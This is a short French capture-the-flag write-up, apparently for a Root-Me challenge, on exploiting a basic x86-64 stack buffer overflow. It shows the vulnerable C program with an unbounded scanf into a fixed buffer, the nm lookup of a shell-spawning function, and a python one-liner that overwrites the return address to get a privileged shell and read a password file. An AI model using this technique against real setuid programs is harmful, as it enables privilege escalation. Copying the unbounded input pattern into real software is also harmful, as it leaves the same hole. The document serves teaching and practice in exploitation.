🔒 Mot de passe requis


Aller au contenu

ELF x86 - Stack buffer overflow basic

Code Source

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash", "-p", NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}

On récupère l’adresse de la fonction que l’on souhaite appeler grâce à la commande nm.

app-systeme-ch35@challenge03:~$ nm ch35 | grep call
00000000004006cd T callMeMaybe

On va simplement mettre l’adresse de la fonction callMeMaybe (0x00000000004006cd) dans la pile avec comme objectif l’écrasement de l’adresse de retour du main. Pour éviter l’étape visant à rechercher la position exacte dans la pile de l’adresse de retour du main, on va simplement copier cette adresse partout.

app-systeme-ch35@challenge03:~$ (python -c "print('\xcd\x06\x40\x00\x00\x00\x00\x00' * 50)" ; cat) | ./ch35
Hello ▒@
ls
ch35  ch35.c
whoami
app-systeme-ch35-cracked
cat .passwd